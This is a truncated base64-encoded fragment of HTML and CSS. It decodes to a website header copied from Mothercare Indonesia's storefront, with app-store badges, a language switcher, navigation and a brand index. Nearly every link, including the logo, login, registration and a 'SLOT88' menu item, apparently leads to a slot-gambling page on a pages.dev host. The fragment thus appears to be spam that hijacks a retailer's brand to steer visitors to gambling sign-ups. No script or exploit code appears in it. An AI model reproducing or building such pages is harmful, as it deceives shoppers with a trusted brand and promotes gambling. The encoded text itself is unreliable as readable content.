CAgPGEgY2xhc3M9InNoLXN0b3JlLWxpbmsiIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgdGFyZ2V0PSJfYmxhbmsiIG5nLWNsaWNrPSJjYWxsQWN0aW9uKCRldmVudCwgJ2FwcFN0b3JlJykiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGxvYWRpbmc9ImxhenkiIHdpZHRoPSIyMDAiIGhlaWdodD0iNjAiIGFsdD0iYXBwIHN0b3JlIiBjbGFzcz0ic2gtc3RvcmUtbGlua19faW1hZ2UiIHNyYz0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL2ltYWdlcy9hcHBsZS1lbi5wbmciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ2aWV3IGNvZGUgcGxheV9zdG9yZSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJzaC1zdG9yZS1saW5rIiBkYXRhLXRlc3Q9Imdvb2dsZS1wbGF5LWxpbmsiIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgdGFyZ2V0PSJfYmxhbmsiIG5nLWNsaWNrPSJjYWxsQWN0aW9uKCRldmVudCwgJ2FwcFN0b3JlJykiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGxvYWRpbmc9ImxhenkiIHdpZHRoPSIyMDAiIGhlaWdodD0iNjAiIGFsdD0iZ29vZ2xlIHBsYXkiIGNsYXNzPSJzaC1zdG9yZS1saW5rX19pbWFnZSIgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvaW1hZ2VzL2dvb2dsZS1lbi5wbmciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGxvYWRpbmc9ImxhenkiIHdpZHRoPSIyMiIgaGVpZ2h0PSIyMiIgYWx0PSJnaWZ0IHJlZ2lzdHJ5IGljb24iIHNyYz0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL2ltYWdlcy9naWZ0X3doaXRlLnN2ZyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdpZnQgcmVnaXN0cnkgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmlnaHRfdG9wX2hlYWRlciI%2BCiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN3aXRjaGVyIGxhbmd1YWdlIHN3aXRjaGVyLWxhbmd1YWdlIiBkYXRhLXVpLWlkPSJsYW5ndWFnZS1zd2l0Y2hlciIgaWQ9InN3aXRjaGVyLWxhbmd1YWdlIj4KICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZyBjbGFzcz0ibGFiZWwgc3dpdGNoZXItbGFiZWwiPjxzcGFuPkJhaGFzYTwvc3Bhbj48L3N0cm9uZz4KICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWN0aW9ucyBkcm9wZG93biBvcHRpb25zIHN3aXRjaGVyLW9wdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhY3Rpb24gdG9nZ2xlIHN3aXRjaGVyLXRyaWdnZXIiIGlkPSJzd2l0Y2hlci1sYW5ndWFnZS10cmlnZ2VyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZyBjbGFzcz0idmlldy1tb3RoZXJjYXJlX3dlYnNpdGVfYmFoYXNhIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4%2BSUQ8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJkcm9wZG93biBzd2l0Y2hlci1kcm9wZG93biIgZGF0YS1tYWdlLWluaXQ9J3siZHJvcGRvd25EaWFsb2ciOnsKICAgICAgICAgICAgICAgICAgICAgICAgICAgImFwcGVuZFRvIjoiI3N3aXRjaGVyLWxhbmd1YWdlICZndDsgLm9wdGlvbnMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAidHJpZ2dlclRhcmdldCI6IiNzd2l0Y2hlci1sYW5ndWFnZS10cmlnZ2VyIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgImNsb3NlT25Nb3VzZUxlYXZlIjogZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0cmlnZ2VyQ2xhc3MiOiJhY3RpdmUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAicGFyZW50Q2xhc3MiOiJhY3RpdmUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAiYnV0dG9ucyI6bnVsbH19Jz4KICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICA8c3R5bGU%2BCiAgICAgICAgICAgICAgICAgICAgIC5zd2l0Y2ggewogICAgICAgICAgICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDYwcHg7CiAgICAgICAgICAgICAgICAgICAgIGhlaWdodDogMzRweDsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAuc3dpdGNoIGlucHV0IHsKICAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDsKICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDA7CiAgICAgICAgICAgICAgICAgICAgIGhlaWdodDogMDsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAuc2xpZGVyIHsKICAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2NjYzsKICAgICAgICAgICAgICAgICAgICAgLXdlYmtpdC10cmFuc2l0aW9uOiAuNHM7CiAgICAgICAgICAgICAgICAgICAgIHRyYW5zaXRpb246IC40czsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAuc2xpZGVyOmJlZm9yZSB7CiAgICAgICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgICAgICAgICAgY29udGVudDogIklEIjsKICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAyNnB4OwogICAgICAgICAgICAgICAgICAgICB3aWR0aDogMjZweDsKICAgICAgICAgICAgICAgICAgICAgbGVmdDogNHB4OwogICAgICAgICAgICAgICAgICAgICBib3R0b206IDRweDsKICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7CiAgICAgICAgICAgICAgICAgICAgIC13ZWJraXQtdHJhbnNpdGlvbjogLjRzOwogICAgICAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiAuNHM7CiAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiMwMDA7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgaW5wdXQ6Y2hlY2tlZCArIC5zbGlkZXIgewogICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjY2NjOwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIGlucHV0OmZvY3VzICsgLnNsaWRlciB7CiAgICAgICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCAxcHggIzIxOTZGMzsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICBpbnB1dDpjaGVja2VkICsgLnNsaWRlcjpiZWZvcmUgewogICAgICAgICAgICAgICAgICAgICAtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWCgyNnB4KTsKICAgICAgICAgICAgICAgICAgICAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWCgyNnB4KTsKICAgICAgICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDI2cHgpOwogICAgICAgICAgICAgICAgICAgICBjb250ZW50OiJFTiI7CiAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiMwMDA7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLyogUm91bmRlZCBzbGlkZXJzICovCiAgICAgICAgICAgICAgICAgICAgIC5zbGlkZXIucm91bmQgewogICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzNHB4OwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC5zbGlkZXIucm91bmQ6YmVmb3JlIHsKICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgIDwvc3R5bGU%2BCiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRvcC1oZWFkZXItY29tcG9uZW50cy1tYyI%2BCiAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imxhbmctc3dpdGNoLW1jIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxsYWJlbCBjbGFzcz0ic3dpdGNoIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjaGVja2VkPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic2xpZGVyIHJvdW5kIj48L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGFiZWw%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXJfcGFuZWxfaW5mbyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BPGltZyBsb2FkaW5nPSJsYXp5IiB3aWR0aD0iMjIiIGhlaWdodD0iMjIiIGFsdD0ic3RvcmUgZmluZGVyIGljb24iIHNyYz0iaHR0cHM6Ly9iZXJpdGFpbmRvbmVzaWEuY28vcGhvdG8vaWNvbi53ZWJwIj5MT0dJTjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk%2BPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIj48aW1nIGxvYWRpbmc9ImxhenkiIHdpZHRoPSIyMiIgaGVpZ2h0PSIyMiIgYWx0PSJLYW5tbyBDaXJjbGUgbG9nbyIgc3JjPSJodHRwczovL2Jlcml0YWluZG9uZXNpYS5jby9waG90by9pY29uLndlYnAiPkRBRlRBUjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk%2BPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIiB0YXJnZXQ9Il9ibGFuayI%2BPGltZyBsb2FkaW5nPSJsYXp5IiB3aWR0aD0iMjIiIGhlaWdodD0iMjIiIGFsdD0iV2hhdHNhcHAgbG9nbyIgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvaW1hZ2VzL1doYXRzYXBwX0xvZ28uc3ZnIj4gQ29udGFjdCBVczwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgIDxzdHlsZT4KICAgICAgICAgICAgICAgICAgICAgLmhlYWRlcl9wYW5lbF9pbmZvIHVsewogICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OmZsZXg7CiAgICAgICAgICAgICAgICAgICAgIGNvbHVtbi1nYXA6IDIwcHg7CiAgICAgICAgICAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLmhlYWRlcl9wYW5lbF9pbmZvIGltZ3sKICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OjEwcHg7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLnBhbmVsLmhlYWRlciBkaXYgewogICAgICAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAudG9wLWhlYWRlci1jb21wb25lbnRzLW1jIHsKICAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC5sYW5nLXN3aXRjaC1tYyBsaSB7CiAgICAgICAgICAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjlweCkgewogICAgICAgICAgICAgICAgICAgICAuaGVhZGVyX3BhbmVsX2luZm8gdWwgewogICAgICAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgPC9zdHlsZT4KICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICA8L2Rpdj4KICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIGNvbnRlbnQiPgogICAgICAgICAgICA8c3BhbiBkYXRhLWFjdGlvbj0idG9nZ2xlLW5hdiIgY2xhc3M9ImFjdGlvbiBuYXYtdG9nZ2xlIj48c3Bhbj5Ub2dnbGUgTmF2PC9zcGFuPjwvc3Bhbj4KICAgICAgICAgICAgPGEgY2xhc3M9ImxvZ28iIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgdGl0bGU9IiIgYXJpYS1sYWJlbD0ic3RvcmUgbG9nbyI%2BCiAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2lrLmltYWdla2l0LmlvL3VjNDY2Y21ma2wvMDhkZDBhY2EtZWQ0Mi00YzhkLWJlNmMtOGY2ZWE1YTFlNmZjLnBuZz91cGRhdGVkQXQ9MTc4OTQ2ODA1NTYxNiIgdGl0bGU9IiIgYWx0PSIiIHdpZHRoPSIxNTUiIGhlaWdodD0iMjgiPgogICAgICAgICAgICA8L2E%2BCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Imthbm1vLW1pZGRsZS1oZWFkZXIiPgogICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZpZ2F0aW9uLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICA8c3BhbiBkYXRhLWFjdGlvbj0idG9nZ2xlLW5hdiIgY2xhc3M9ImJ1dHRvbi1jbG9zZSIgdGFiaW5kZXg9IjAiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idG9wLWhlYWRlci1jb21wb25lbnRzLW1jIG1vYmlsZS1jb21wb25lbnQiPgogICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXJfcGFuZWxfaW5mbyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BPHNwYW4%2BPGltZyBsb2FkaW5nPSJsYXp5IiB3aWR0aD0iMjIiIGhlaWdodD0iMjIiIGFsdD0iS2FubW8gQ2lyY2xlIGxvZ28iIHNyYz0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL2ltYWdlcy9LYW5tb0NpcmNsZS5zdmciPjwvc3Bhbj5hYm91dCBLYW5tbyBDaXJjbGU8L2E%2BPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BPGltZyBsb2FkaW5nPSJsYXp5IiB3aWR0aD0iMjIiIGhlaWdodD0iMjIiIGFsdD0iZ2lmdCByZWdpc3RyeSBpY29uIiBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9pbWFnZXMvZ2lmdF9ibHVlLnN2ZyI%2BZ2lmdCByZWdpc3RyeTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk%2BPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIj48c3Bhbj48aW1nIGxvYWRpbmc9ImxhenkiIHdpZHRoPSIyMiIgaGVpZ2h0PSIyMiIgYWx0PSJzdG9yZSBmaW5kZXIgaWNvbiIgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvaW1hZ2VzL3N0b3JlZmluZGVyX2JsdWUuc3ZnIj48L3NwYW4%2Bc3RvcmUgZmluZGVyPC9hPjwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48aW1nIGxvYWRpbmc9ImxhenkiIHdpZHRoPSIyMiIgaGVpZ2h0PSIyMiIgYWx0PSJXaGF0c2FwcCBsb2dvIiBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9pbWFnZXMvV2hhdHNhcHBfTG9nby5zdmciPjwvc3Bhbj5jb250YWN0IHVzPC9hPjwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw%2BCiAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYmxvY2sgdmVzLW1lbnUgdmVzLW1lZ2FtZW51LW1vYmlsZSAiIGlkPSJtZW51LXRvcC1tb3RoZXJjYXJlMTc0MjMwODA2MTc3NzQ3NDgwMC1tZW51Ij4KICAgICAgICAgICAgICAgICAgICAgPG5hdiBjbGFzcz0ibmF2aWdhdGlvbiIgcm9sZT0ibmF2aWdhdGlvbiIgZGF0YS1hY3Rpb249Im5hdmlnYXRpb24iPgogICAgICAgICAgICAgICAgICAgICAgICA8dWwgaWQ9Im1lbnUtdG9wLW1vdGhlcmNhcmUxNzQyMzA4MDYxNzc3NDc0ODAwIiBjbGFzcz0idmVzLW1lZ2FtZW51IG1lbnUtaG92ZXIgdmVzLWhvcml6b250YWwgIiBkYXRhLW1hZ2UtaW5pdD0neyJtZW51Ijp7InJlc3BvbnNpdmUiOmZhbHNlLCAiZXhwYW5kZWQiOmZhbHNlLCAicG9zaXRpb24iOnsibXkiOiJsZWZ0IHRvcCIsImF0IjoibGVmdCBib3R0b20ifX19JyBkYXRhLXRvZ2dsZS1tb2JpbGUtbmF2PSJmYWxzZSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpZD0idmVzaXRlbS04ODQ1MjE3NDIzMDgwNjE1NzM4MDA3MDgiIGNsYXNzPSIgbmF2LWl0ZW0gbGV2ZWwwIHN1Ym1lbnUtbGVmdCBzdWJob3ZlciAgZHJvcGRvd24gbGV2ZWwtdG9wICI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4OyIgY2xhc3M9IiBuYXYtYW5jaG9yIj48c3Bhbj5TTE9UODg8L3NwYW4%2BPHNwYW4gY2xhc3M9ImNhcmV0Ij48L3NwYW4%2BPHNwYW4gY2xhc3M9Im9wZW5lciI%2BPC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VibWVudSBhbmltYXRlZCAgZHJvcGRvd24tbWVudSIgc3R5bGU9IndpZHRoOjEwMCU7YW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lZ2FtZW51LWNvbnRlbnQiIHN0eWxlPSJ3aWR0aDoxMDAlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWRyb3Bkb3duIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWRlc2sgcm93IGVxdWFsIG5hdi1yZXZhbXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJicmFuZC1heiI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkEiIGNsYXNzPSJhY3RpdmUiPkE8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkIiPkI8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkMiPkM8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkQiPkQ8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkUiPkU8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkYiPkY8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkciPkc8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkgiPkg8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkkiPkk8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkoiPko8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IksiPks8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IkwiPkw8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9Ik0iPk08L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9Ik4iPk48L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9Ik8iPk88L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlAiPlA8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlEiPlE8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlIiPlI8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlMiPlM8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlQiPlQ8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlUiPlU8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlYiPlY8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlciPlc8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWYgdGl0bGU9IlgiPlg8L2E%2BCi